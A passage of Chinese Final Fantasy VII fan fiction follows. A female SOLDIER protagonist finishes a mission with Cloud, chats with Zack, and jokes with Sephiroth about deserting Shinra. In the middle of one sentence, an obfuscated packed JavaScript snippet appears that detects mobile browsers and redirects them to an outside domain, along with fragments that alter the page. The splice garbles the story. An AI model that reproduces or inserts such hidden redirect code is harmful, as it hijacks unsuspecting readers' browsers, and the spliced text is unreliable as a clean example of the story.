可能是因为我做任务从来都不写报告(即使是扣10%的任务经费我也不写),所以做一些勉强能见人的任务时,拉扎德都会给我分配几个背景板,负责记录这次任务的细节。 如果我不赶时间,或者有心情的话,都会带着这些人一起做任务。 但今天我心情不好。 一下直升机,我就对面前已经站在预备位置的几个小兵挥了挥手,示意他们可以摸鱼了。 “你们在这里等着,拿终端打几把游戏,然后……” 我忽然眼前一亮。 最右边那个不是我新收的小弟吗? “他跟我一起,”我改变了主意,几步走到克劳德面前,伸手扯了扯他右臂那硬邦邦的制服布料,力道不大,却足以让他整个人猛地一僵,“你们可以开玩了。” 我的话音落下,另外两个士兵明显松懈了下来,虽然碍于纪律没有立刻拿出终端,但那紧绷的肩膀放松了不少。其中一个胆子稍大的,透过头盔低声嘟囔了一句:“是…是,长官。” 而被我点名的克劳德,则彻底石化了。他僵硬地站在原地,头盔下的脑袋似乎完全停止了运转。 “走了。” 我松开他的袖子,没管他内心的惊涛骇浪,转身就朝目标地点的方向走去。 身后传来一阵手忙脚乱的响动,克劳德显然是终于从震惊中回过神来,慌忙地迈开步子试图跟上我。他的脚步声有些凌乱,带着新兵特有的、尚未完全沉淀下来的急促感。 “是!长官!” 他结结巴巴地在我身后喊着,声音因为紧张而有些变调,同时又不敢太大声。 走到工厂里面,我立马就把沾了血的面罩摘了下来,顺便摘掉兜帽——真是闷死我了。 旁边站着的陆行鸟浑身僵硬,他也不说话,好像跟我不熟一样。 于是我偏过头看他,少年愣了愣,往后退了一步。 ? 怎么看起来还要跑了呢? “陆行鸟,怎么不说话?” 克劳德没想到对方还记得自己。 一开始的印象就是极其随意的强者,到了后面,拿他打发时间似的娱乐,又自顾自的走掉了。 但对方应该真的是萨菲罗斯的亲戚……至于姐姐—— 他莫名的觉得应该不是真相。 还有,那天会场上的事情大概只是大人物的心血来潮,朋友什么的…… “克劳德·斯特莱夫,你是哑巴了吗?” 纷乱的思绪如同失控的齿轮在他脑海里飞速转动,让他一时间不知道该如何组织语言。 那双莹绿色的眼睛正毫无遮拦地看着他,里面没有戴着面罩时的遮掩,只有点点好奇。 “没、没有!长官!” 克劳德终于找回了自己的声音,但出口的话语却带着明显的磕绊和不自然的拔高,他努力想让自己的语气听起来恭敬而镇定,结果却适得其反,“我的发声器官……完好无损。非常感谢您的关心!只是…只是刚才稍微有点走神,非常抱歉!” “那为什么不叫我名字?当然,叫我大哥也可以。” "我、我只是……有点意外,您还记得我。上次在表彰大会……"他顿了顿,感觉自己的解释有些苍白,“而且,请、请您不要再叫我陆行鸟了……虽然,虽然您是长官,但是这个称呼……” 克劳德试图表达自己的不满,但对上那双带着兴趣的眼睛,剩下的话又卡在了喉咙里,最终只是含糊地嘟囔了一句,“……总之,我能说话!非常清楚!听候您的指示,长官……” 他试探性地加上了她上次告诉他的名字,希望这样能显得更尊敬一些,或者至少,让她别再生出什么奇怪的想法了。 “哦,好吧。” 对面的女人撇了撇嘴,下一秒,她毫无预兆地向前迈了一步,距离瞬间拉近。 没等克劳德做出任何反应,一只戴着黑色战术手套的手以惊人的速度伸出,动作干脆利落,直接扣住了他头盔的边缘。 克劳德整个人如同被按下了暂停键,大脑一片空白,只剩下那双清澈的蓝色眼睛因为突如其来的变故而微微睁大。 神罗的制式头盔在她手里掂了掂,然后,对方显露出了一种带着自信的浅笑。 “啊,没认错。我就说我不会记错你的味道……” 25. 第23章 面前的陆行鸟支支吾吾的说不出话了。 金发少年的步伐不自觉地后退一步,湛蓝的眸子四处闪烁,落在我身上后又立马移开,最终死死盯住地面上的一块油污,仿佛那里藏着什么宇宙的奥秘。 这什么反应,真好笑。 他的味道其实很好辨认。 有点像刚晒过的羽毛,又带了点……嗯,新兵训练营里汗水的味道? 笑了几下,想起我自己还有两单,一下就笑不出来了。 我将他的头盔抛着玩,一边往工厂里面走,克劳德现在才回过神,亦步亦趋的跟在我身后,却又保持着一定距离。 “陆行鸟,你有什么想要的礼物吗?我可以回去问萨菲罗斯要。” 作为大哥,我当然要给小弟谋好处。 不过萨菲罗斯真是金贵,那些粉丝论坛上开的价格让我都有些心动,之前我甚至动过收集他的碎发拍卖的念头。 当然最后是被本人发现后遗憾失败。 “礼物?!长、长官,您、您在说什么啊!” 克劳德的声音因为震惊而拔高,甚至有点破音,他慌忙摆着手,好像我要塞给他什么烫手山芋,“我、我怎么能要萨菲罗斯大人的东西!那、那太……” 他似乎想找个合适的词,比如“不敬”或者“僭越”,但最终只是卡在那里,脸颊在昏暗的光线下都能看出泛起了红色。 我不明白这有什么不好意思的,我又不是要把萨菲罗斯的正宗偷出来,问他要个亲笔签名/个人照片什么的不是很简单吗? "真的什么都不要吗?"我歪着头看着这个脸颊泛红的小兵,似乎我的提议让他不知所措,"我可是很少做好事的。" "不、不用了,长官!能跟您一起出任务已经是我的荣幸了!"克劳德急忙摆手,那双蓝眼睛闪烁着真诚的光芒,却又不敢直视我太久。 他的这段话让我十分受用,深夜打工的烦躁都少了不少。 克劳德的好话和扎克斯的又不大一样,虽然两人都很真诚——扎克斯的语句给我一种自然而然的愉悦,而总是半天憋不出几个句子的陆行鸟能带来些许惊喜。 ……我想想,如果我做了未来的神罗总裁,给克劳德什么职位好呢? 既然他看起来很崇拜1st,那就让他继承我的1st宝座好了(虽然我并不觉得这个名头有什么用)。 我们一路往前走,克劳德的视线时不时扫过我手上的头盔,我当然不打算还给他,还给他就看不到这么好玩的表情了。 三个复制体从工厂的角落冲出来,金发少年立马拿起步枪瞄准射击,击中其中一人膝盖的同时,我解决了另外两个。 刀锋划过空气,带起细微的风声,随后是金属被斩断的清脆声响和复制体倒地的沉闷撞击。 我单手握着大太刀随意地甩了甩,粘稠的液体在空中划出几道弧线,落在冰冷的水泥地面上,发出“啪嗒”的轻响。空气中弥漫开一股铁锈和某种化学药剂混合的怪异气味。 侧过头,我看向还保持着举枪姿势的克劳德。他射击的准头还行,至少知道打膝盖这种干扰行动的部位,而不是像个没头苍蝇一样乱扫一通。那被他射中的复制体正挣扎着试图爬起,嘴里发出意义不明的嘶吼。 “补刀。”我言简意赅地命令,同时将他的头盔从左手换到右手,像是在掂量什么有趣的玩具。 克劳德似乎愣了一下,大概是没想到我会突然下令,但他反应很快,立刻调转枪口,对着那个还在挣扎的复制体精准地点射了几下。枪声在空旷的工厂内部回荡,带着刺耳的爆鸣。 复制体抽搐了几下,彻底没了动静。 ———— 没过多久,任务就完成了。 这次任务执行的效率比起我以往的都要低了很多。 之前在五台执行大任务,每当我想要一刀快速结束任务时,萨菲罗斯就会半拦着我,静静的看着其他的特种兵一齐围攻魔兽。 "……真浪费时间。" "有时候也应该给其他人锻炼和表现的机会。" 银发男人在我身畔开口。 但我不大明白。 之后和扎克斯一起去做任务,如果把敌人丢给他,虽然慢了很多,但黑发少年会显露出激动和兴奋的神色。 那个时候我隐隐约约理解了萨菲罗斯的意思——这样做会让别人开心。 所以我也把能解决的人丢给了陆行鸟。 —————— 工厂内部弥漫着一股硝烟和古怪药剂混合的气味,地上横七竖八地躺着几具复制体的残骸,绿色的粘液在昏暗的灯光下泛着令人不适的光泽。 任务完成的提示音在克劳德的终端上响起第二遍,他才终于放下一直紧握着的步枪,长长地舒了一口气。 汗水顺着他金色的发梢滴落,划过还有些稚气的脸颊。金发少年抬起手臂,用袖子胡乱擦了擦额头,那双清澈的蓝色眼睛因为战斗后的兴奋和任务完成的轻松而闪闪发光。 他没忍住,又拿起终端,再次检查起屏幕上那个绿色的PLETE完成”字样,嘴角忍不住微微上扬,露出一个略带羞涩却又难掩喜悦的笑容。 克劳德的内心显然十分激动,连带着他整个人都透着一股轻松雀跃的气息。 看来让他“锻炼和表现”确实能带来愉悦感,虽然我不觉得这几个杂兵复制体能让他锻炼到什么。 我掂了掂手里的制式头盔,慢悠悠地踱步到他身边,在他还没从喜悦中完全回过神来的时候,我伸出拿着头盔的那只手,用头盔的边缘轻轻敲了敲他的肩膀。 “咚”的一声轻响,克劳德像是被惊醒的鸟儿,猛地一哆嗦,身体瞬间又绷紧了。 他转过头,看到我手里那个熟悉的头盔,脸上的笑容立刻僵住,随即那抹轻松的喜悦迅速被慌乱和一点点尴尬取代。 “长、长官!我、我不是故意……” 他语无伦次地试图解释,好像忘了头盔是被我“借”走的,“我这就……” 克劳德下意识地伸手想去拿回头盔,动作却在半空中顿住,蓝色的眼睛小心翼翼地看向我,带着询问和一丝不安。 这表情太好玩了。 “喏,你的鸟窝。” 我把那顶沉甸甸的头盔塞进他怀里,金属外壳撞在他胸前的硬质护甲上,发出“哐”的一声闷响。 克劳德手忙脚乱地接住,像是接住了一个滚烫的山芋,手指下意识地收紧,将头盔紧紧抱在胸前。 “都、都说了不要叫我陆行鸟了!还有,这不是鸟窝!这是神罗士兵的标准制式头盔,MK-II改良型!具备优良的防护性能和通讯功能!请您尊重它!” 克劳德抱着头盔,梗着脖子反驳,声音因为急切而有些变形,却又努力想维持着士兵的严肃。他顿了顿,似乎觉得自己的语气有些冲撞,又赶紧补充道:“当、当然,我不是在质疑您的意思,长官……我只是……只是想强调一下,它对我……对我们士兵来说,是要一直留在身边的装备……” “是是是,标准制式鸟窝,MK-II改良型,知道了。” 我伸手随意的戳了戳他那头蓬松的金发。 被我戳中头发,克劳德的身体又是一僵,抱着头盔的手臂收得更紧了些。 他似乎想躲开,但又不敢,只能任由我的手指在他那头倔强的金发上留下一点触感。 最后,只是闷闷地“嗯”了一声。 打开终端,现在是凌晨4点,剩下的那两个任务一个比一个远,漫步到工厂门口,我把面罩和制服的兜帽戴上。 呵呵,神罗,呵呵…… 安吉尔和杰内西斯就这么比翼双飞的跑掉了,留我和萨菲罗斯在黑公司打工,本来四人份的任务交到我俩头上—— 为什么不把谜语说清楚然后一起润呢? 思绪纷杂,回过头,克劳德正直勾勾的盯着我,在对视的一瞬,又立马转过头。 看什么看。 "下班了,你们回去吧,记得跟那两个打游戏的说一声。" “……” 我没有丝毫犹豫的继续往前走,这个时候,终端振动了下。 “那个——” 同时,背后轻微的呼唤响起。 克劳德似乎有什么想说的,却被这突如其来的信息打乱了好不容易下的决心,在我回头看他的时候,紧紧闭上了嘴。 “……” “有什么事?” “长官,有通知的话,还是先看通知……” 能有什么通知? 要么是萨菲罗斯下班了跟我通知一声(我认为是炫耀),要么是神罗给我发新任务的地点,或者更糟——又给我加了几单。 我拉下面罩,对他挑了挑眉。 “那个随便啦,你要说什么?” “……长官,我没什么重要的事,您的下个任务应该很远吧。” “还有,您辛苦了……” 工厂的光线有些晦暗,远远未到天亮的时候,衬着他的金发有些暗淡,克劳德紧紧盯着我脚旁的那片污渍,说完那段话后,就又抿着唇沉默了。 看他这副模样,我倒是突然想起了什么。 拿起终端,果然是新的任务地点,我把那个弹窗划掉,朝他走过去。 “加我的账号吧。” 我重新走回到他面前,昏暗的应急灯在他那头金发上投下斑驳的光影。举起手里的终端,屏幕幽幽的光照亮了我们之间的一小块区域。 “不加吗?” “不一定每次任务都能遇见你,如果之后再也没机会见面的话,那也太可惜了。” 毕竟是我的第二个小弟,不加联系方式,他就看不到我动态发的那些帅照——本来我的联系人就没几个,萨菲罗斯那个家伙还总是不点赞。 而且我还想让二号小弟和一号小弟认识一下呢,一个是我未来的副总裁,一个是未来的1st,大家不熟络一下,怎么进行未来的工作呢? “……好的!” 克劳德手忙脚乱的拿出在制服里的终端,他看起来比起惊讶,更像是松了口气的释然和浅浅喜悦。 两个屏幕靠近,发出轻微的“嘀”声,数据传输的进度条飞快地走完,我的名字出现在了他的联系人列表里。 打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479168|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个哈欠后,我拉回面罩,对他挥了挥手,转过身子。 ”下次请你吃饭。“ 身后,那个金色的身影一动不动。 —— 早上七点。 我半死不活的回到了神罗大厦。 跑到任务中心,我在等文员把数据录好。 这个时候扎克斯已经开始跟我分享他今天的早餐和今天预备的任务清单了。 【前辈吃早餐吗!我在二食堂,我请你吃呀】 【我要睡觉,累死了。】 几乎是秒回。 【啊,难道通宵了吗?前辈赶紧去休息吧,今晚我回来给前辈带些零食。】 【允了。】 【对了前辈,我晋升1st了!!!】 看到他那几个连续的感叹号,我一阵唏嘘。 不过也挺不错的,至少多了个人帮我分担压力。 萨菲罗斯好歹是公众人物,给他的任务再怎么样也会让他保留人样——我就不一样了,神罗那是把我往死里用,连让我潜进沼泽清理掉巨蟒巢穴这种任务都派发的出来。 【嗯嗯不错(扎克斯呲牙笑.jpg)】 【!!这是什么时候的图片!】 糟了,因为太困,手滑直接把用扎克斯照片做的表情包发出去了。 【前辈,什么时候偷拍的我?!】 【还有其他的照片吗?糟了……不会特别难看吧?】 其实还有其他的,但我不会告诉他。 【就一张,你别多想。】 【真的吗?前辈还有我什么照片!我想看看!】 【你看起来好像很高兴?】 【当然开心啦,还有,前辈,你还没回答我的问题!为什么要偷拍我?真的没有其他照片了?】 【因为你表情有趣,所以拍了。真的没有别的照片了,我保证,我现在回宿舍了,下次请你吃饭。】 假的。 我至少有十几张扎克斯的照片,从他训练时超认真的样子,到他吃饭时像仓鼠一样塞满嘴的蠢样,再到他偷偷给安吉尔讲冷笑话时洋洋得意的表情。这些照片简直是我的珍藏,表情包的绝佳素材。 文员终于处理完了我的任务报告,递给我一份数据核对单。我随手签了名,将终端塞回口袋,拖着疲惫的身体向宿舍区走去。 和儿时一般,萨菲罗斯的宿舍在我旁边。 我几乎是爬回了宿舍楼道,在晕厥之前,先敲了敲他的门。 他比我先回几个小时,按照常理而言,现在的萨菲罗斯在—— ”这么晚?“ 银发男人的身上还带着些许湿热的水汽,他一身简单的黑色睡衣,眉宇间也留存着淡淡的疲倦,明显是刚刚清理完自己后准备休息。 见到我半死不活的模样,萨菲罗斯微微皱眉。 "嗯嗯……对了,给你带的水果我放任务中心了,还有什么抹杀命令……" 我有气无力的把那段交代我的话复述给萨菲罗斯听。 “抹杀命令?” 他重复着我话语的末尾,眉头皱得更紧了些。那双眼睛快速地扫过我从头到脚的污秽——干涸的血块、凝结的泥土、还有一些我也不确定是什么东西的黏稠液体沾在制服上。 “是针对杰内西斯和安吉尔的?” “嗯……大概吧,没仔细看,反正就是那俩跑路的,”我含糊不清地应着,感觉大脑已经停止了运转,只想立刻倒在地上睡死过去,“水果……在任务中心登记处,你自己去拿吧,我记不清品种了,反正是珠诺乡下的土特产,看着挺新鲜就顺手买了……” 我的声音越来越小,几乎是在梦呓。 没等我说完,他就一步跨出了门。 沐浴后干净清爽的气息,和我身上狼狈难闻的味道混杂在一起。 眼皮越来越沉,几乎要睁不开。全身的骨头都像散了架,只想立刻瘫倒在地。萨菲罗斯的手臂有力地环过我的肩膀,将我大半的重量都接了过去。我几乎是挂在他身上,被他半扶半抱着朝我的宿舍房间挪去。 他的黑色睡衣不可避免地蹭到了我制服上的污渍,留下浅浅的印记。但他似乎毫不在意,只是专注地支撑着我,我迷迷糊糊的看到灯光下自己的影子轮廓,像个奇怪的黑色垃圾袋,挂在他身上。 “门卡。”他言简意赅。 我含糊地唔了一声,费力地抬起一只沾满泥污的手,胡乱地在自己腰间的口袋里掏了掏,指尖碰到一块硬硬的塑料片,便不再动弹。萨菲罗斯没有多言,修长的手指伸进我的口袋,精准地捏出了那张沾了不少污渍的门卡。 “滴——” 电子锁发出一声轻响,绿灯亮起。他用肩膀抵开门,手臂收紧,将我半抱半拖地弄进了房间。房间里一片漆黑,窗帘紧闭,空气有些沉闷。我被他扶着,踉踉跄跄地走了几步,然后感觉身体一轻,整个人就失去了支撑,直直地倒向了柔软的床铺。 “嘭”的一声,我重重地砸在床上。 床垫的弹性吸收了大部分冲击力,但我还是感觉全身的骨头都要散架了。 黑暗彻底吞噬了我的意识。 26. 第24章 过了不知道多久,我迷迷糊糊的醒了。 意识像是从深沉粘稠的糖浆里挣扎出来,缓慢地浮上表面。 身体的每一个细胞都透着一股久违的舒畅感,昨夜那种被榨干、沾满污泥的疲惫荡然无存。我舒服地哼了一声,伸了个懒腰。 布料柔软的触感贴着皮肤,很陌生,不是我那套沾满各种怪味的战斗服。 鼻尖萦绕着淡淡的、像是某种植物的清新皂角香气,连头发丝都感觉轻盈蓬松,不再是黏腻打结的状态。怪了,我明明是直接昏死过去的,怎么醒来就跟被彻底清洗打包了一遍似的? 伸懒腰的动作进行到一半,手臂就碰到了一个温热、坚实的障碍物。 不对,不是碰到,是我整个人好像都侧靠在这个“障碍物”上。我动了动,感觉身下的“床垫”也跟着微微起伏。 咦?我的床什么时候变得这么有弹性还自带加热功能了?神罗升级宿舍了吗? 我费力地转动还有些僵硬的脖子,视野里首先映入的是一片柔顺的银白色长发,散落在深色的枕头上,如同月光流淌。 然后,我看到了那张过分熟悉的、俊美得不像真人的脸庞,闭合的眼帘覆盖着长长的睫毛。 下一秒,睫毛颤动了一下,缓缓掀开。魔晄特有的莹绿色光芒在眼底凝聚,起初有些许迷茫,像是刚从梦境中脱离,但很快,那光芒就变得清晰锐利,如同两汪深潭,准确无误地锁定了近在咫尺的我。 是萨菲罗斯。 自从我们长大后,就很少有一起睡的时候。我稍微有些不适应,但也还好——不过,我睡姿再怎么差,一般也是把他踢下床。 怎么变成我压着他了? 还有他怎么没穿上衣,怪不得软软的,我把他当床垫也不全是我的错。 “你上衣呢?” “在浴室时弄湿了,现在在阳台。” “那我身上这套衣服是什么?”我扯了扯身上过于宽大的黑色棉质睡衣领口,布料柔软,带着和他身上一样的皂角清香,除了左臂上必须的臂环,其他的衣物全都换新了,“原来的制服呢?” 萨菲罗斯那双清冷的魔晄眼瞳静静地注视着我,眼底深处似乎掠过一丝极淡的涟漪,随即又恢复了往常的平静无波。 他并没有立刻回答,目光先是落在我身上那件明显过于宽大的黑色睡衣上,视线停留了片刻,像是确认什么。 “你的制服沾满了无法轻易去除的污渍和……生物组织,”萨菲罗斯的声音低沉而平稳,带着点刚醒的沙哑,“我已经让后勤部门进行特殊处理了,需要一些时间。至于你现在穿的这件,”他顿了顿,修长的手指无意识地轻抚过身下的床单。 “是我备用的睡衣。你昨晚的状态很差,直接穿着那身衣服休息对伤口愈合和身体恢复都没有好处。帮你清理身体的时候,你的制服也无法继续穿着了。” “哦……这样啊。” 我应了一声,挪动了一下身体,去拿桌子上摆着的终端,时间映入眼帘——下午三点?! 后台堆积的那一堆任务清单我暂时不想面对,点开消息界面,我开始看起一个个未读消息和邮件,忽然的,感觉有什么东西压在了我的肩膀上。 不属于我的重量。 温热的呼吸轻柔地拂过我的颈侧皮肤,带起一阵细微的痒意。我身体几不可查地僵了一下,握着终端的手指顿了顿。这家伙,靠得也太近了吧? 我能感觉到他下巴的轮廓隔着薄薄的睡衣布料抵着我的肩骨,甚至能闻到他发间残留的、和我身上一样的皂角清香,只是更浓郁一些。 所以萨菲罗斯用了我的洗发水吗?他不会把一瓶都用完了吧! “喂,萨菲罗斯,”我没回头,视线依旧停留在终端屏幕上那一排排令人头疼的任务简报上,语气却带着点质问,“你是不是用了我的洗发水?就是我放在浴室置物架最里面那瓶,绿色的,上面画着奇怪花纹的那个?” “用了。”他承认得倒是干脆利落,没有丝毫犹豫,“你的那瓶闻起来很特别,就顺手用了。效果不错,头发感觉很顺滑。” 那瓶可是我之前搜刮来的限量款,自己都没用过几次!算了……看在他把我弄干净的份上—— 我报复性的伸出手掐了掐他的腰。 “……嗯。” 好像是吸气一样的声音,萨菲罗斯放在我腰间的手一下松开,往后靠了靠,但下巴并没有移开。 我感觉他好像有些……热? 还有,这是什么鬼动静? “你脸怎么有点红?”我伸手戳了戳他靠近我这边的脸颊,触感光滑细腻,温度也比平时要高一些,“发烧了?还是被我掐疼了?” 他被我戳中脸颊,身体几不可查地僵了一下,随即微微偏开头,避开了我的手指。萨菲罗斯的目光终于从终端屏幕移开,对上了我的眼睛。 平时训练场上挨我几下重的都没见他哼一声,现在这是怎么了? “只是刚醒,身体有些迟钝。”萨菲罗斯的声音恢复了惯常的平稳,但仔细听,似乎比平时少了几分冷冽,多了点难以捉摸的温度,“而且,你刚才掐的地方……比较特殊。” “特殊?”我挑了挑眉,觉得他这个解释相当敷衍。 神罗英雄的腰侧是特殊区域?什么道理。 “我还以为你全身都跟盔甲一样硬呢,原来也有弱点啊?这可是重大发现,下次训练的时候我可得好好研究研究。” 这么说着,我就准备又掐一下,忽然一阵麻麻的触感传来,他居然掐了我的腰! “嘶!” 我回过头瞪了他一眼,他却直直的看着我。 这眼神什么意思?令人不爽。 最后我切了声,懒得与他计较,转过头去看信息。 先是我为数不多的联系人信息。 扎克斯一天给我分享了不少日常。 一开始他还不会发这么多,但是知道我每条都会回复他后,就什么都要跟我说一声。 【(图片)(图片)午饭是食堂的汉堡!】 【前辈我买了这个糖,你吃吗?(图片)】 【(图片)这是1st的新制服!怎么样,前辈我帅气吗?】 【前辈还没醒吗?已经下午了哎。】 …… 我一条条回复。 【给我吃一口(伸手.jpg)】 【那个柠檬味的丢了,其他给我】 【不错,有我一半帅】 【刚醒。】 …… 我正一条条敲击着回复,萨菲罗斯来发表评价了。 “我还不知道你跟他平时是这样相处的。” “嗯?我和他怎么相处了?” 我头也没抬,继续给扎克斯最新发来的那张傻乎乎的自拍下面回复了一个嘲笑的表情包,“他不就是我小弟吗?小弟跟大哥汇报日常不是很正常?倒是你,靠这么近干嘛,偷看我聊天记录?” 他放在我腰侧的手臂微微收紧,将我更紧地圈在他怀里几分。下巴依旧稳稳地抵在我的肩膀上,并没有移开的意思。隔着一层薄薄的棉质睡衣,我能清晰地感受到他胸膛的温热和肌肉的坚实轮廓,像个大型的、自带加热功能的床垫。 萨菲罗斯又不说话了。 呵呵,莫名其妙。 接下来是动态。 令人惊喜,克劳德居然给我发的每一条都点了赞。 从我带着口罩的帅气自拍(那个角度我凹了半个小时),还有我保养大太刀的分享心得,甚至是对米德加某家餐厅的碎碎念赞赏。 但是他居然一条回复都没有。 有的动态也是点赞了然后又取消,然后又再次点赞——比如我有时候会发的露脸风景照。 转到消息界面,自从加了他的账号,他也一条都没给我发。 于是我敲击屏幕。 【(陆行鸟突然出现.jpg)为什么点赞总是取消?】 那边立马就出现了正在输入中的标识,却什么消息也没出现。 “他又是谁?” 萨菲罗斯发出质问。 他这语气怎么跟审犯人似的? 我瞥了他一眼,他那双绿眼睛正专注地盯着我的终端屏幕,好像要用视线把那个灰色的默认头像烧出个洞来。 “我的二号小弟。” “……又一个?” “对啊,又一个。” 我理所当然地点头,手指在终端屏幕上划过,查看克劳德那可怜兮兮的灰色头像,“怎么了?很奇怪吗?还是说你在嫉妒我的人格魅力?像我这样闪闪发光的人,总是会吸引一些追随者嘛,这很正常。” “……” 唉,没办法,主角是这样的。 不过比起书里动不动就五六七个人的主角团,平时形单影只的我已经算是走独狼流了。 克劳德那边终于发来了消息。 【对不起!长官!我不是故意的!就是……就是看到您的照片觉得……觉得很好看,就点了赞,但是又觉得这样会不会太冒昧了,所以就取消了……然后又觉得不点赞好像更不对……所以……对不起!给您添麻烦了!】 后面还跟了一个敬礼的表情符号。 这有什么冒昧的? 【不麻烦(扎克斯呲牙笑.jpg)下次多给我的帅照评论】 这次他倒是立马回复了。 【好的!】 【(点头jpg)】 克劳德那个点头的表情包出现的一瞬,就被他撤回了,与此同时,他又变回了正在输入中的状态。 什么啊,为什么要撤回? 于是我也发了个类似的表情包给他。 【(陆行鸟点头.jpg)用我这个。】 他那边隔了好几秒才回复。 【……谢谢长官。】 我正准备把我的陆行鸟表情包合集发给他,就被旁边的声音打断了。 “追随者?” 萨菲罗斯终于开口,声音低沉平稳,听不出明显的情绪起伏,却带着一种独特的、让人无法忽略的穿透力,“所谓的‘追随者’并非越多越好。维系关系需要投入精力与时间,过多的牵绊只会分散你的注意力,甚至可能带来不必要的麻烦和危险。” 他这话什么意思? “我开心就好了。至少多个人给我动态点赞……你平时怎么不点赞我的图片?” 我的质问让萨菲罗斯的眸子稍稍闪烁,那种表情甚至带了点理所应当的疑惑和……不满? 他沉默了几秒,像是在组织语言,又像是在衡量我的问题。 然后,萨菲罗斯开口了, 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不过某种程度上好像确实…… “好吧,确实是这个意思。” 他顿了顿后,浅浅的勾起唇,那些怪话也消失了。 “……嗯。” 萨菲罗斯愉悦了不少。 他分了一只手往上,十分自然的点开我的工作邮件开始看起来,虽然都是些发表给神罗战士的公开邮件,但这种行为还是让我有些不爽(不过看在他昨天的帮忙就再原谅他一次)。 首先是来自拉扎德的一大堆邮件,什么战后的修正,对未来的安排,还有他那些若有若无的暗示。 【然而,围绕神罗的情况并不乐观。】 【拥有强大战力的集团与反神罗组织数不胜数。】 【这一切皆是神罗高速繁盛所致的“扭曲”】 【我等作为神罗一员,必须诚恳面对此种“扭曲”】 还有一些对安排的“见解”,就差指着鼻头骂高层不作为了。 我感觉拉扎德也是谋反在即。 接着就是公开发表的“殉职”邮件。 大概就是“杰内西斯”和“安吉尔”的殉职通知,通知每个粉丝会的同时,也在米德加广场上安排了哀悼活动。 如果不是我的私人任务里有叛逃的追杀令,我差点信了。 不过神罗说殉职就殉职吗? “啧啧,你看,等哪天我俩说不定也突然殉职了。你估计会被安排个‘风光大葬’,而我估计连个群发的邮件都没有。” 这破公司真是一天也呆不下去了。 整个盖亚也没几个做人的势力——最近反神罗最起劲的“雪崩”是个极端环保组织,到处炸魔晄炉。 昨天我去珠诺清剿突袭,跟雪崩的总部成员对上了。 他们准备占领珠诺大炮炮轰米德加,还传着什么“让生命全部回归生命之流”这样的星命学极端思想。 所以还是自己组建势力吧。 而且,如果要润掉,我必须先搞清楚我自己小臂上的这个臂环是什么,还有萨菲罗斯—— “喂,我要是跑了,你会跟我一起吗?” 他正要对我“殉职”和“风光大葬”的玩笑话进行斥责之时,就被这样一个突兀的假设打断了。 "跑?"他低声重复着这个字,仿佛在品味它的含义,"你打算去哪里?" 我耸耸肩,感觉他的胸膛随着呼吸微微起伏。 "随便哪里,只要不是这个毫无人性的公司。杰内西斯和安吉尔不是已经带头示范了吗?"我漫不经心地划着屏幕,"我就是好奇,如果我真的决定跑路,你会不会跟我一起?" 萨菲罗斯和我不大一样。 他从小受到的安排,还有关注,以及压在他身上的数不胜数的责任——嗯,如果他不愿意跟我跑,那我到时候开润,也要把他打晕带走(我会尽力的),不然他肯定会来抓我。 而我被他抓到的可能性很大。 沉默在房间里蔓延开来,足足有半分钟,萨菲罗斯才开口。他的声音出奇地平静,甚至带着一丝我很少听到的古怪情绪。 "我会。" 只有两个字,却沉甸甸的。我愣了一下,扭过头去看他,恰好对上那双认真到有些灼人的眼睛。 接着他又补充道:"但前提是你有完整且可行的计划,而不是仅凭一时冲动。" 这家伙,居然真的答应了?我还以为他会先给我来一段关于责任、荣誉和神罗大义的长篇大论呢。 不过计划确实没有,先说我自己,战斗一旦打爽了估计会造成波及半个片区的大动静,而萨菲罗斯——他也太显眼了吧?! “哦,好吧,那这个之后再说,不过我先要请假去玩几天,你一起吗?” “……不了,最近我在调查这个。” 银发男人轻轻敲了敲我左臂上的臂环,期间,一块小巧的魔晶石微微闪烁。 “好吧,那算了。” 我撇了撇嘴,稍加思索,脑子里立马就蹦出了请假的好理由,拿出终端就给拉扎德发信息。 【我殉职三天(认真.jpg)】 27. 第25章 结果萨菲罗斯还是没有跟我一起"殉职"。 收到了几条信息,他就准备离开了,当时回过头叮嘱了我几句—— 我一句都不记得了。 打开终端,我开始挑选我的度假地点。 去哪玩好呢? 上层高端场所消费太高我支付不起,而且我单方面觉得无聊透顶。 金蝶游乐园…… 也是无聊透顶。 上次任务稍稍路过,逛了几圈。因为身上带了点血,差点被保安当场抓起来。我明明还没问游客"借"代币呢。 下层还算有点意思,很多地方我都没去过,但是探索的话有些太花时间了。 要不去贡加加? 扎克斯天天念叨的故乡,听说那里的蘑菇很大,不知道能不能吃——但那实在是太偏僻了。 或者去太阳海岸? ……虽然我对游泳没什么兴趣,但躺在沙滩上晒太阳、喝冰镇饮料听起来就很享受。 而且那里人多,说不定能碰到什么有趣的事情或者……嗯,能顺手牵羊的目标? 唯一的问题是,我这脸和头发太扎眼了,总不能在沙滩上也戴着面罩吧?那也太怪了,会被当成什么变态抓起来的。 回头望去,我发现自己难得的”长假“居然只剩下了死宅在宿舍里看轻小说这么一个比较好的选项。 翻开我的收藏,我啧了一声。 近年来小说的套路实在是重复,要么是主角被大卡车送去异世界,要么就是在神罗内靠"顶级魔晶石"混成1st神罗战士,要么就是让我看都看不下去的"神罗走狗流"。 还是以前的小说敢写,记得几年前米德加的审核没有那么严格,都能够看到主角把神罗总裁一家发配到北方大空洞挖野菜。 随便拿出一本新刊,我叹了口气。 《转生废材咸鱼,开局就被神罗公主退婚?!》 啧,又是这种一眼就能望到结局的套路文。指尖划过光滑的纸页,粗略扫了几行,果不其然,又是熟悉的废柴流开局,配合着莫名其妙的金手指,以及马上就要出现的、负责被打脸的反派二世祖。 【“路菲斯贝齿轻启,白皙的小脸显露出倨傲的神色,她娇笑一声,把退婚通知书甩在他的脸上。”】 【“像你这种魔晄不耐受的废柴,还是滚回下层区打工吧!”】 【“他握紧拳头,最终也只是低着头,一言不发。面前的人甩着一头金发,轻轻冷哼后,踩着高跟鞋离开了。”】 我看着看着就开始犯困,等到回过神,新刊都粘在了我的脸上。 “唔……” 一把把书本挪开,我抬眼一看时间。 哦,早上啊。 